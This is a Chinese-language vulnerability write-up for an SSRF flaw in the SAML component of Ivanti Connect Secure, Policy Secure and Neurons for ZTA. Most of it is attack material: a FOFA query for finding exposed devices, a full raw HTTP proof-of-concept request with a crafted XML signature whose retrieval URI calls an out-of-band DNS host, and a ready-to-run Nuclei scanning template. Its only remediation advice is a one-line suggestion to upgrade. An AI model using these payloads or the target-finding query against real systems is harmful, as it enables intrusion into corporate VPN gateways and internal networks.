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Ⅰ、漏洞描述

Ivanti Connect Secure 为远程和移动用户提供了一个无缝的、具有成本效益的 SSL VPN 解决方案，使他们能随时随地从任何可上网的设备访问企业资源。

Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure（9.x,22.x）以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。

Ⅱ、fofa语句

body="welcome.cgi?p=logo"

Ⅲ、漏洞复现

POC

POST /dana-ws/saml20.ws HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Content-Length: 831
Accept-Encoding: gzip<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://your-dns"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>

1、构建poc

2、查看DNSlog记录

Ⅳ、Nuclei-POC

id: Ivanti-Pulse-Connect-Secure-VPN-SSRFinfo:name: Ivanti Connect Secure（9.x，22.x）和Ivanti Policy Secure（9.x,22.x）以及Ivanti Neurons for ZTA的SAML组件中存在SSRF漏洞。author: WLFseverity: highmetadata: fofa-query: body="welcome.cgi?p=logo"
variables:filename: "{{to_lower(rand_base(10))}}"boundary: "{{to_lower(rand_base(20))}}"
http:- raw:- |POST /dana-ws/saml20.ws HTTP/1.1Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0Connection: closeContent-Length: 831Accept-Encoding: gzip<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <ds:Signature    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">      <ds:SignedInfo>        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>        <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>      </ds:SignedInfo>      <ds:SignatureValue>qwerty</ds:SignatureValue>      <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">        <ds:RetrievalMethod URI="http://{{interactsh-url}}"/>        <ds:X509Data/>      </ds:KeyInfo>      <ds:Object></ds:Object>    </ds:Signature>  </soap:Body></soap:Envelope>matchers:- type: dsldsl:- contains(interactsh_protocol, "dns")condition: and

Ⅴ、修复建议

升级至安全版本